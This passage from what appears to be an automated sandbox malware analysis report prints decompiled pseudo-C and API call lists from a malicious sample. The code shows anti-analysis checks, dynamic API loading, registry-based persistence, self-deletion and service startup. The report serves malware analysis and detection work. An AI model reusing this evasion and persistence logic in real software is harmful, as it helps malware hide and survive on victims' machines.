					if(_v12 == 0) {
						SetFilePointer(_a4, 0, 0, 0);
						 *((char*)(_v48 + 0x6c)) = 1;
						 *(_v48 + 0x7c) = _a4;
						return 0;
					}
					return _v12;
				}
			}

0x004120f6
0x004120fc
0x00412106
0x00412113
0x0041211d
0x00412127
0x00412131
0x0041213e
0x00412149
0x00000000
0x0041215b
0x0041216e
0x00412175
0x004121df
0x004121e9
0x004121f4
0x004121fc
0x004121fc
0x00412202
0x0041220a
0x00412218
0x0041222a
0x0041222e
0x0041223e
0x00412246
0x00412249
0x0041224c
0x0041224f
0x00412252
0x00412258
0x0041225e
0x00412261
0x00412264
0x0041226a
0x00412270
0x00412283
0x0041228c
0x00000000
0x0041228f
0x0041219f
0x004121a6
0x004121ba
0x004121c3
0x004121cd
0x00000000
0x004121d0
0x00000000
0x004121a8

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,?,?,?,?,?,00412ADE,?,?), ref: 00412168
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00412ADE), ref: 004121BA

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: bd9446f4783b8dd7e6d95fa0f5fa15532bd816b395c3834064200ff55a53ee91
Instruction ID: 73fee1c067eb70601bd9df8ab8ea40709189a789a85f05da52033877ad893135
Opcode Fuzzy Hash: bd9446f4783b8dd7e6d95fa0f5fa15532bd816b395c3834064200ff55a53ee91
Instruction Fuzzy Hash: 4A51D7749002099FDB04DFA8C484BDEBBB5BB4C304F14C15AE925AB391D775A986CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00411DB0, Relevance: 6.1, APIs: 4, Instructions: 127
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411DB0(intOrPtr __ecx, void* _a4, signed int _a8) {
				void* _v8;
				struct _OVERLAPPED* _v12;
				long _v16;
				void* _v20;
				void* _v24;
				intOrPtr _v28;
				signed char _t101;
				void* _t102;
				intOrPtr _t110;
				intOrPtr _t113;
				intOrPtr _t128;
				intOrPtr _t131;
				void* _t148;

				_v28 = __ecx;
				_v8 = _a4;
				if(( *(_v28 + 0x2d) & 0x000000ff) == 0) {
					L11:
					_t110 = _v28;
					__eflags =  *((intOrPtr*)(_t110 + 0x20));
					if( *((intOrPtr*)(_t110 + 0x20)) == 0) {
						_t128 = _v28;
						__eflags =  *((intOrPtr*)(_t128 + 4));
						if( *((intOrPtr*)(_t128 + 4)) == 0) {
							 *((intOrPtr*)(_v28 + 0x14)) = 0x1000000;
							__eflags = 0;
							return 0;
						}
						WriteFile( *(_v28 + 4), _v8, _a8,  &_v16, 0);
						return _v16;
					}
					_t131 = _v28;
					_t113 = _v28;
					__eflags =  *((intOrPtr*)(_t131 + 0x24)) + _a8 -  *((intOrPtr*)(_t113 + 0x28));
					if( *((intOrPtr*)(_t131 + 0x24)) + _a8 <  *((intOrPtr*)(_t113 + 0x28))) {
						memcpy( *((intOrPtr*)(_v28 + 0x20)) +  *((intOrPtr*)(_v28 + 0x24)), _v8, _a8);
						 *((intOrPtr*)(_v28 + 0x24)) =  *((intOrPtr*)(_v28 + 0x24)) + _a8;
						return _a8;
					}
					 *((intOrPtr*)(_v28 + 0x14)) = 0x30000;
					return 0;
				}
				if( *(_v28 + 0x3c) != 0 &&  *((intOrPtr*)(_v28 + 0x40)) < _a8) {
					_v20 =  *(_v28 + 0x3c);
					E0040B5B0(_v20);
					_t148 = _t148 + 4;
					 *(_v28 + 0x3c) = 0;
				}
				_t117 = _v28;
				if( *(_v28 + 0x3c) == 0) {
					_t102 = E0040B590(_t117, _a8 << 1);
					_t148 = _t148 + 4;
					_v24 = _t102;
					 *(_v28 + 0x3c) = _v24;
					 *((intOrPtr*)(_v28 + 0x40)) = _a8;
				}
				memcpy( *(_v28 + 0x3c), _a4, _a8);
				_v12 = 0;
				while(1) {
					_t154 = _v12 - _a8;
					if(_v12 >= _a8) {
						break;
					}
					_t101 = E004114E0( *( *(_v28 + 0x3c) + _v12) & 0x000000ff, _t154, _v28 + 0x30,  *( *(_v28 + 0x3c) + _v12) & 0x000000ff);
					_t148 = _t148 + 8;
					 *( *(_v28 + 0x3c) + _v12) = _t101;
					_v12 =  &(_v12->Internal);
				}
				_v8 =  *(_v28 + 0x3c);
				goto L11;
			}

0x00411db6
0x00411dbc
0x00411dc8
0x00411e90
0x00411e90
0x00411e93
0x00411e97
0x00411ee9
0x00411eec
0x00411ef0
0x00411f15
0x00411f1c
0x00000000
0x00411f1c
0x00411f07
0x00000000
0x00411f0d
0x00411e99
0x00411ea2
0x00411ea5
0x00411ea8
0x00411ecd
0x00411edf
0x00000000
0x00411ee2
0x00411ead
0x00000000
0x00411eb4
0x00411dd5
0x00411de8
0x00411def
0x00411df4
0x00411dfa
0x00411dfa
0x00411e01
0x00411e08
0x00411e10
0x00411e15
0x00411e18
0x00411e21
0x00411e2a
0x00411e2a
0x00411e3c
0x00411e42
0x00411e54
0x00411e57
0x00411e5a
0x00000000
0x00000000
0x00411e71
0x00411e76
0x00411e82
0x00411e51
0x00411e51
0x00411e8d
0x00000000

APIs

new[].LIBCMTD ref: 00411E10
memcpy.NTDLL(00000000,?,000000FF,?,0041289D,?,000000FF,?,00004000), ref: 00411E3C
memcpy.NTDLL(00000000,00004000,000000FF,?,0041289D,?,000000FF,?,00004000), ref: 00411ECD

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: memcpy$new[]
String ID:
API String ID: 3541104900-0
Opcode ID: e6a56af37c6e19b6ed2c0ea83cdf516621f6fac75bc61e6ebff01ec4e90410b0
Instruction ID: 1be85da1f02f000736658b6362af722e2e86620b20a10b8620c900d99ce7c40f
Opcode Fuzzy Hash: e6a56af37c6e19b6ed2c0ea83cdf516621f6fac75bc61e6ebff01ec4e90410b0
Instruction Fuzzy Hash: 0051C7B8A00209DFCB44CF98C581EAEBBB6FF88314F548159EA05AB355D735E981CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0040BEB0, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 53
stringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040BEB0(char* _a4, char* _a8, intOrPtr _a12) {
				char* _v8;
				char* _v12;
				char* _v16;
				char _v17;
				intOrPtr _v24;

				_v8 = StrStrA(_a4, _a8);
				if(_v8 != 0) {
					 *0x41a994(0x41ac88, _a4, _v8 - _a4);
					 *(_v8 - _a4 + 0x41ac88) = 0;
					_v12 = _a8;
					_v16 =  &(_v12[1]);
					do {
						_v17 =  *_v12;
						_v12 =  &(_v12[1]);
					} while (_v17 != 0);
					_v24 = _v12 - _v16;
					wsprintfA(_v8 - _a4 + 0x41ac88, "%s%s", _a12, _v8 + _v24);
					return 0x41ac88;
				}
				return _a4;
			}

0x0040bec4
0x0040becb
0x0040bee2
0x0040beee
0x0040bef8
0x0040bf01
0x0040bf04
0x0040bf09
0x0040bf0c
0x0040bf10
0x0040bf1c
0x0040bf3b
0x00000000
0x0040bf44
0x00000000

APIs

StrStrA.SHLWAPI(008281C0,?,?,004061B1,?,008281C0,00000000), ref: 0040BEBE
lstrcpyn.KERNEL32(0041AC88,008281C0,008281C0,?,004061B1,?,008281C0), ref: 0040BEE2
wsprintfA.USER32 ref: 0040BF3B

Strings

%s%s, xrefs: 0040BF2A

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: lstrcpynwsprintf
String ID: %s%s
API String ID: 1799455324-3252725368
Opcode ID: 968c324a661e519957af98edf49b8511bb81e06ad5647acdf799b48dea5bf767
Instruction ID: 9d0df258c1970b53338195e9cfc72265299fee085df88f93dfbf2dd1b14f7860
Opcode Fuzzy Hash: 968c324a661e519957af98edf49b8511bb81e06ad5647acdf799b48dea5bf767
Instruction Fuzzy Hash: 3A21F975901108FFDF05DFACC984AEEBBB4EF48344F108199E909A7341D735AA90CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 006CC100, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 53stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(0041A574,?,?,006C5E47,?,0041A574,00000000), ref: 006CC10E
lstrcpyn.KERNEL32(0041AC88,0041A574,0041A574,?,006C5E47,?,0041A574), ref: 006CC132
wsprintfA.USER32 ref: 006CC18B

Strings

G^l, xrefs: 006CC176, 006CC179

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: lstrcpynwsprintf
String ID: G^l
API String ID: 1799455324-3936886782
Opcode ID: 968c324a661e519957af98edf49b8511bb81e06ad5647acdf799b48dea5bf767
Instruction ID: 89b73a9308209ebe0a317f1020516df421aa25684b71adfa8f68a7e35d2a6fa0
Opcode Fuzzy Hash: 968c324a661e519957af98edf49b8511bb81e06ad5647acdf799b48dea5bf767
Instruction Fuzzy Hash: C6213775901108FFDF00CFECC984AEEBBB5EF48344F148189E809AB301D634AA90CB96

Uniqueness

Uniqueness Score: -1.00%

Function 006C6DB0, Relevance: 6.0, APIs: 4, Instructions: 49threadsleepCOMMON

Download Yara Rule

APIs

Part of subcall function 006CC530: GetProcAddress.KERNEL32(0041AA64,0041A718), ref: 006CC582
Part of subcall function 006CC530: GetProcAddress.KERNEL32(0041AA64,0041A33C), ref: 006CC59A
Part of subcall function 006CC530: GetProcAddress.KERNEL32(0041AA64,0041A5BC), ref: 006CC5B2
Part of subcall function 006CC530: GetProcAddress.KERNEL32(0041AA64,0041A4B0), ref: 006CC5CB
Part of subcall function 006CC530: GetProcAddress.KERNEL32(0041AA64,0041A4C8), ref: 006CC5E3
Part of subcall function 006CC530: GetProcAddress.KERNEL32(0041AA64,0041A7D4), ref: 006CC5FB
Part of subcall function 006CC530: GetProcAddress.KERNEL32(0041AA64,0041A324), ref: 006CC614
Part of subcall function 006CC530: GetProcAddress.KERNEL32(0041AA64,0041A6F0), ref: 006CC62C
Part of subcall function 006CC530: GetProcAddress.KERNEL32(0041AA64,0041A7B0), ref: 006CC644
Part of subcall function 006CC530: GetProcAddress.KERNEL32(0041AA64,0041A218), ref: 006CC65D
Part of subcall function 006CC530: GetProcAddress.KERNEL32(0041AA64,004192A0), ref: 006CC673
Part of subcall function 006CC530: LoadLibraryA.KERNEL32(0041A0F8,?,006C6DC2), ref: 006CC685
Part of subcall function 006CC530: LoadLibraryA.KERNEL32(0041A658,?,006C6DC2), ref: 006CC697
Part of subcall function 006CC530: GetProcAddress.KERNEL32(0041A854,0041A594), ref: 006CC6B8

Part of subcall function 006C12A0: GetCurrentProcess.KERNEL32(00000000,?,00003000,00000040,00000000), ref: 006C12BA
Part of subcall function 006C12A0: VirtualAllocExNuma.KERNEL32(00000000), ref: 006C12C1
Part of subcall function 006C12A0: ExitProcess.KERNEL32 ref: 006C12D2

Part of subcall function 006C6CF0: GetTickCount.KERNEL32 ref: 006C6CF6
Part of subcall function 006C6CF0: Sleep.KERNEL32(00002710), ref: 006C6D04
Part of subcall function 006C6CF0: GetTickCount.KERNEL32 ref: 006C6D0A

Sleep.KERNEL32(000003E7), ref: 006C6E45

Part of subcall function 006C6C60: GetUserDefaultLangID.KERNEL32 ref: 006C6C6D

Part of subcall function 006C6D80: CreateMutexA.KERNEL32(00000000,00000000,0041A124), ref: 006C6D8D
Part of subcall function 006C6D80: GetLastError.KERNEL32 ref: 006C6D93

Part of subcall function 006CC6F0: GetProcAddress.KERNEL32(0041AA64,0041A0B4), ref: 006CC70D
Part of subcall function 006CC6F0: GetProcAddress.KERNEL32(0041AA64,0041A728), ref: 006CC725
Part of subcall function 006CC6F0: GetProcAddress.KERNEL32(0041AA64,0041A2BC), ref: 006CC73E
Part of subcall function 006CC6F0: GetProcAddress.KERNEL32(0041AA64,0041A668), ref: 006CC756
Part of subcall function 006CC6F0: GetProcAddress.KERNEL32(0041AA64,0041A5D8), ref: 006CC76E
Part of subcall function 006CC6F0: GetProcAddress.KERNEL32(0041AA64,0041A26C), ref: 006CC787
Part of subcall function 006CC6F0: GetProcAddress.KERNEL32(0041AA64,0041A64C), ref: 006CC79F
Part of subcall function 006CC6F0: GetProcAddress.KERNEL32(0041AA64,0041A4B8), ref: 006CC7B7
Part of subcall function 006CC6F0: GetProcAddress.KERNEL32(0041AA64,0041A2B4), ref: 006CC7D0
Part of subcall function 006CC6F0: GetProcAddress.KERNEL32(0041AA64,0041A7BC), ref: 006CC7E8
Part of subcall function 006CC6F0: GetProcAddress.KERNEL32(0041AA64,0041A49C), ref: 006CC800
Part of subcall function 006CC6F0: GetProcAddress.KERNEL32(0041AA64,0041A4FC), ref: 006CC819
Part of subcall function 006CC6F0: GetProcAddress.KERNEL32(0041AA64,0041A3A8), ref: 006CC831
Part of subcall function 006CC6F0: GetProcAddress.KERNEL32(0041AA64,0041A1C0), ref: 006CC849
Part of subcall function 006CC6F0: GetProcAddress.KERNEL32(0041AA64,0041A1F8), ref: 006CC862
Part of subcall function 006CC6F0: GetProcAddress.KERNEL32(0041AA64,0041A7AC), ref: 006CC87A

CreateThread.KERNEL32(00000000,00000000,00401020,00000000,00000000,00000000), ref: 006C6E0C

Part of subcall function 006C6B40: GetSystemTime.KERNEL32(?,?,00000104), ref: 006C6BC1
Part of subcall function 006C6B40: lstrcat.KERNEL32(?,0041A60C), ref: 006C6BD5
Part of subcall function 006C6B40: sscanf.NTDLL ref: 006C6C13
Part of subcall function 006C6B40: SystemTimeToFileTime.KERNEL32(?,00000000), ref: 006C6C27
Part of subcall function 006C6B40: SystemTimeToFileTime.KERNEL32(?,00000000), ref: 006C6C38
Part of subcall function 006C6B40: ExitProcess.KERNEL32 ref: 006C6C52

CreateThread.KERNEL32(00000000,00000000,00406650,00000000,00000000,00000000), ref: 006C6E26
ExitProcess.KERNEL32 ref: 006C6E54

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: AddressProc$Time$Process$CreateExitSystem$CountFileLibraryLoadSleepThreadTick$AllocCurrentDefaultErrorLangLastMutexNumaUserVirtuallstrcatsscanf
String ID:
API String ID: 482147807-0
Opcode ID: a349654e72635f791abaff99105bb45aa78bda0ff43d1d0459ce1a65ca71d6f4
Instruction ID: c4a41634a8b166f41adf3e9c242fd116f20d684529e469237be7628735e409d7
Opcode Fuzzy Hash: a349654e72635f791abaff99105bb45aa78bda0ff43d1d0459ce1a65ca71d6f4
Instruction Fuzzy Hash: FF01A438789342A6E2A037B1DD1BFB92657DF08B81F14402EFA05E81D2EED5E951852F

Uniqueness

Uniqueness Score: -1.00%

Function 006CAF90, Relevance: 6.0, APIs: 4, Instructions: 32memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 006CAFA0
RtlAllocateHeap.NTDLL(00000000), ref: 006CAFA7
GetTimeZoneInformation.KERNEL32(?), ref: 006CAFBA
wsprintfA.USER32 ref: 006CAFF4

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: c1eaeb3e9eb05cc2c06cb84a2f343100f25f8727c1150393eb784ecd10d2e60d
Instruction ID: 2adf185bb0b6c63a948714352fd8d2505ccd5f2ead8de55085699b89ab082922
Opcode Fuzzy Hash: c1eaeb3e9eb05cc2c06cb84a2f343100f25f8727c1150393eb784ecd10d2e60d
Instruction Fuzzy Hash: B0F09070E453189BDB209FA4DD49BEAB37AEB04301F0046E9EA1993291DB745E90CF47

Uniqueness

Uniqueness Score: -1.00%

Function 006D2620, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,?,?,?,?,?,?,006D2D62), ref: 006D2694
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,006D2D62), ref: 006D26A2

Part of subcall function 006D18C0: FileTimeToSystemTime.KERNEL32(?,?,?,?,?,b-m,?,?,?,?,?,?,006D2D62), ref: 006D18CE

Part of subcall function 006D1880: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 006D18AC

Strings

b-m, xrefs: 006D26A8, 006D26FD, 006D26AB

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: Time$FileSystem$LocalUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: b-m
API String ID: 568878067-2805694806
Opcode ID: 77842d6e9c3ac7ccb908d3ccd7048a15edff26aad8d2f5aef4a99b83c7691eaf
Instruction ID: f029f808dae9cc723961dd9c624ffcb0e1c2656c03a5ce7ad549439753d4e71f
Opcode Fuzzy Hash: 77842d6e9c3ac7ccb908d3ccd7048a15edff26aad8d2f5aef4a99b83c7691eaf
Instruction Fuzzy Hash: 163192B99002089FDB08DF98C594BDEBBF5BB4C304F204599D805AB352D776AE45CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 006CB8F0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 10memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,b6m,?,006CB7ED,b6m,00000009,?,006D3662,00000009), ref: 006CB8F9
RtlAllocateHeap.NTDLL(00000000,?,006CB7ED), ref: 006CB900

Strings

b6m, xrefs: 006CB8F3, 006CB8F6

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID: b6m
API String ID: 1357844191-956486904
Opcode ID: 91792353ec189b537f40c44ebd9c2449dbd42fd7f98193ad091825612838553d
Instruction ID: f01f5e1e7c2cbae4d5f0611841cbb3e049ae9411e28973528bbdb3b79d6c1229
Opcode Fuzzy Hash: 91792353ec189b537f40c44ebd9c2449dbd42fd7f98193ad091825612838553d
Instruction Fuzzy Hash: 62C09B75141308ABD6005BE8EE0DDD6375CFF4C641F008410B60DC6551CA75A450C766

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 3136.exe PID: 5060 Parent PID: 3472 3136.exeCOMMON

Executed Functions

Function 00409A6B, Relevance: 98.8, APIs: 48, Strings: 8, Instructions: 799
stringsleepregistryCOMMON

Download Yara Rule

C-Code - Quality: 89%

			_entry_(CHAR* _a12, void* _a15) {
				char _v8;
				char _v12;
				intOrPtr _v16;
				char _v20;
				void* _v24;
				char _v28;
				char _v32;
				union _GET_FILEEX_INFO_LEVELS _v36;
				CHAR* _v40;
				char _v44;
				char _v48;
				struct _PROCESS_INFORMATION _v64;
				char _v80;
				char _v112;
				char _v371;
				char _v372;
				char _v671;
				char _v672;
				char _v704;
				struct _STARTUPINFOA _v772;
				char _v1271;
				char _v1272;
				char _v1672;
				char _t238;
				long _t239;
				char _t242;
				long _t244;
				CHAR* _t248;
				char _t250;
				intOrPtr _t257;
				char _t267;
				intOrPtr* _t272;
				char _t276;
				char _t279;
				char _t282;
				char _t283;
				void* _t284;
				char _t294;
				CHAR* _t303;
				int _t304;
				char _t309;
				CHAR* _t312;
				char _t318;
				int _t324;
				CHAR* _t325;
				char _t328;
				char* _t331;
				char _t332;
				char _t340;
				char _t344;
				CHAR* _t357;
				CHAR* _t358;
				int _t359;
				int _t373;
				long _t379;
				void* _t383;
				void* _t396;
				void* _t401;
				char _t402;
				char _t403;
				intOrPtr* _t410;
				void* _t411;
				char _t417;
				char _t418;
				void* _t424;
				intOrPtr _t426;
				void* _t428;
				char* _t436;
				intOrPtr _t441;
				CHAR* _t442;
				void* _t450;
				void* _t451;
				char _t459;
				void* _t464;
				void* _t465;
				void* _t467;
				void* _t468;
				void* _t469;
				void* _t470;
				void* _t471;
				void* _t474;
				intOrPtr _t475;

				SetErrorMode(3); // executed
				SetErrorMode(3); // executed
				SetUnhandledExceptionFilter(E00406511); // executed
				E0040EC54(); // executed
				_t475 =  *0x41201f; // 0x0
				if(_t475 != 0) {
					__eflags =  *0x4133d8;
					if(__eflags == 0) {
						L126:
						CreateThread(0, 0, E0040405E, 0, 0, 0);
						__imp__#115(0x1010,  &_v1672);
						E0040E52E(_t449, __eflags);
						E0040EAAF(1, 0);
						E00401D96(_t438, 0x412118);
						E004080C9(_t438);
						CreateThread(0, 0, E0040877E, 0, 0, 0);
						E00405E6C(__eflags);
						E00403132();
						E0040C125(__eflags);
						E00408DB1(_t438);
						Sleep(0xbb8);
						E0040C4EE();
						while(1) {
							__eflags =  *0x4133d0;
							if( *0x4133d0 == 0) {
								goto L129;
							}
							_t239 = GetTickCount();
							__eflags = _t239 -  *0x4133d0 - 0x186a0;
							if(_t239 -  *0x4133d0 < 0x186a0) {
								L131:
								Sleep(0x2710);
								continue;
							}
							L129:
							_t238 = E0040C913();
							__eflags = _t238;
							if(_t238 == 0) {
								 *0x4133d0 = GetTickCount();
							}
							goto L131;
						}
					}
					_a12 = 0xa;
					while(1) {
						_t242 = DeleteFileA(0x4133d8);
						__eflags = _t242;
						if(_t242 != 0) {
							break;
						}
						__eflags = _a12;
						if(_a12 <= 0) {
							break;
						}
						_t244 = GetLastError();
						__eflags = _t244 - 2;
						if(_t244 == 2) {
							break;
						}
						_t219 =  &_a12;
						 *_t219 = _a12 - 1;
						__eflags =  *_t219;
						Sleep(0x3e8);
					}
					E0040EE2A(_t438, 0x4133d8, 0, 0x104);
					_t465 = _t465 + 0xc;
					goto L126;
				} else {
					_v12 = 0;
					if(GetModuleFileNameA(GetModuleHandleA(0),  &_v672, 0x12c) == 0) {
						_v672 = 0;
					}
					if(_v672 == 0x22) {
						E0040EF00( &_v672,  &_v671);
						_t436 = E0040ED23( &_v672, 0x22);
						_t465 = _t465 + 0x10;
						if(_t436 != 0) {
							 *_t436 = 0;
						}
					}
					_t248 = GetCommandLineA();
					_t459 = 0x4122f8;
					_a12 = _t248;
					_t250 = E0040EE95(_a12, E00402544(0x4122f8, 0x410a48, 4, 0xe4, 0xc8));
					_t454 = 0x100;
					_v8 = _t250;
					E0040EE2A(_t438, 0x4122f8, 0, 0x100);
					_t467 = _t465 + 0x28;
					if(_v8 == 0) {
						_t257 = E004096AA( &_v672,  &_v48,  &_v44,  &_v372,  &_v112); // executed
						_t467 = _t467 + 0x14;
						_v16 = _t257;
						if(_t257 == 0) {
							E0040EF00(0x4121a8,  &_v672);
							_pop(_t438);
							_a12 = GetCommandLineA();
							_v8 = E0040EE95(_a12, E00402544(0x4122f8, 0x410a38, 4, 0xe4, 0xc8));
							E0040EE2A(_t438, 0x4122f8, 0, 0x100);
							_t468 = _t467 + 0x28;
							__eflags = _v8;
							if(_v8 == 0) {
								L102:
								_v8 = E0040EE95(_a12, E00402544(_t459, 0x410a28, 4, 0xe4, 0xc8));
								E0040EE2A(_t438, _t459, 0, _t454);
								_t467 = _t468 + 0x28;
								__eflags = _v8;
								if(_v8 == 0) {
									L110:
									_t267 = E00406EC3();
									__eflags = _t267;
									if(_t267 != 0) {
										E004098F2(_t438);
										L19:
										ExitProcess(0); // executed
									}
									__eflags = _v372;
									if(_v372 == 0) {
										L116:
										 *0x4133b0 = 0;
										L117:
										_v64.hProcess =  &_v372;
										_v64.hThread = E00409961;
										_v64.dwProcessId = 0;
										_v64.dwThreadId = 0;
										StartServiceCtrlDispatcherA( &_v64);
										goto L19;
									}
									_t272 =  &_v372;
									_t449 = _t272 + 1;
									do {
										_t438 =  *_t272;
										_t272 = _t272 + 1;
										__eflags = _t438;
									} while (_t438 != 0);
									__eflags = _t272 - _t449 - 0x20;
									if(_t272 - _t449 >= 0x20) {
										goto L116;
									}
									E0040EF00(0x4133b0,  &_v372);
									_pop(_t438);
									goto L117;
								}
								_t459 = _v8 + 3;
								_t276 = E0040ED03(_t459, 0x20);
								_pop(_t438);
								__eflags = _t276;
								if(_t276 != 0) {
									L107:
									_t454 = _t276 - _t459;
									__eflags = _t454 - 0x20;
									if(_t454 >= 0x20) {
										_t454 = 0x1f;
									}
									E0040EE08(0x412184, _t459, _t454);
									_t467 = _t467 + 0xc;
									 *((char*)(_t454 + 0x412184)) = 0;
									goto L110;
								}
								_t279 = _t459;
								_t449 = _t279 + 1;
								do {
									_t438 =  *_t279;
									_t279 = _t279 + 1;
									__eflags = _t438;
								} while (_t438 != 0);
								_t276 = _t279 - _t449 + _t459;
								__eflags = _t276;
								goto L107;
							}
							_t282 = _v8 + 3;
							_v672 = 0;
							__eflags =  *_t282 - 0x22;
							_v20 = _t282;
							if( *_t282 != 0x22) {
								_t283 = E0040ED03(_v20, 0x20);
								_pop(_t438);
								__eflags = _t283;
								if(_t283 == 0) {
									_t283 =  &(_a12[lstrlenA(_a12)]);
									__eflags = _t283;
								}
								_t284 = _t283 - _v8;
								_v24 = _t284;
								__eflags = _t284 + 0xfffffffd;
								E0040EE08( &_v672, _v20, _t284 + 0xfffffffd);
								 *((char*)(_t464 + _v24 - 0x29f)) = 0;
								L98:
								_t468 = _t468 + 0xc;
								L99:
								__eflags = _v672;
								if(_v672 != 0) {
									E0040EE08(0x4133d8,  &_v672, 0x103);
									_t468 = _t468 + 0xc;
								}
								 *0x412cc0 = 1;
								goto L102;
							}
							_v20 = _v8 + 4;
							_t294 = E0040ED03(_v8 + 4, 0x22);
							_pop(_t438);
							__eflags = _t294;
							if(_t294 == 0) {
								goto L99;
							}
							_v24 = _t294 - _v8;
							E0040EE08( &_v672, _v20, _t294 - _v8 + 0xfffffffc);
							 *((char*)(_t464 + _v24 - 0x2a0)) = 0;
							goto L98;
						}
						_v36 = 0;
						if(_t257 >= 4 || _v48 > 0x61 && _v44 != 0) {
							L84:
							if(GetModuleFileNameA(GetModuleHandleA(0),  &_v672, 0x12c) != 0) {
								_t303 =  &_v672;
								if(_v672 == 0x22) {
									_t303 =  &_v671;
								}
								if(_t303[1] == 0x3a && _t303[2] == 0x5c) {
									_t303[3] = 0;
									_t304 = GetDriveTypeA(_t303);
									_t515 = _t304 - 2;
									if(_t304 != 2) {
										E00409145(_t515);
										_t438 = 1;
									}
								}
							}
							goto L19;
						} else {
							E00404280(_t438, 1); // executed
							_pop(_t438);
							if(_v672 == 0) {
								goto L84;
							}
							_t309 = E0040675C( &_v672,  &_v12, 0); // executed
							_t467 = _t467 + 0xc;
							_v8 = _t309;
							if(_t309 == 0 || _v12 == 0) {
								goto L84;
							} else {
								_v32 = 0;
								_v28 = 0;
								if(_v16 == 2) {
									L55:
									__eflags = _v16 - 3;
									if(_v16 >= 3) {
										L83:
										E0040EC2E(_v8);
										_pop(_t438);
										if(_v36 != 0) {
											goto L19;
										}
										goto L84;
									}
									_t312 = E00402544(_t459, 0x410a3c, 0xc, 0xe4, 0xc8);
									_t469 = _t467 + 0x14;
									__eflags = GetEnvironmentVariableA(_t312,  &_v1272, 0x1f4);
									if(__eflags == 0) {
										L82:
										E0040EE2A(_t438, _t459, 0, _t454);
										_t467 = _t469 + 0xc;
										goto L83;
									}
									_t318 = E004099D2(_t449, __eflags,  &_v1272,  &_v672,  &_v704, _v8, _v12);
									_t469 = _t469 + 0x14;
									__eflags = _t318;
									if(_t318 == 0) {
										goto L82;
									}
									E0040EE2A(_t438, _t459, 0, _t454);
									_t470 = _t469 + 0xc;
									_v1272 = 0x22;
									lstrcpyA( &_v1271,  &_v672);
									_t324 = lstrlenA( &_v1272);
									 *((char*)(_t464 + _t324 - 0x4f4)) = 0x22;
									_t325 = _t324 + 1;
									__eflags = _v16 - 2;
									_a12 = _t325;
									 *((char*)(_t464 + _t325 - 0x4f4)) = 0;
									if(_v16 != 2) {
										L60:
										_push(0);
										_push( &_v112);
										_t328 = E00406DC2(_t438) ^ 0x61616161;
										__eflags = _t328;
										_push(_t328);
										E0040F133();
										_t470 = _t470 + 0xc;
										L61:
										_t331 = E00402544(_t459,  &E004106AC, 0x2e, 0xe4, 0xc8);
										_t471 = _t470 + 0x14;
										_t332 = RegOpenKeyExA(0x80000001, _t331, 0, 0x103,  &_v24);
										_v20 = _t332;
										__eflags = _t332;
										if(_t332 == 0) {
											_t373 =  &(_a12[1]);
											__eflags = _t373;
											_v20 = RegSetValueExA(_v24,  &_v112, 0, 1,  &_v1272, _t373);
											RegCloseKey(_v24);
										}
										E0040EE2A(_t438, _t459, 0, _t454);
										E0040EE2A(_t438,  &_v772, 0, 0x44);
										_v772.cb = 0x44;
										E0040EE2A(_t438,  &_v64, 0, 0x10);
										_t469 = _t471 + 0x24;
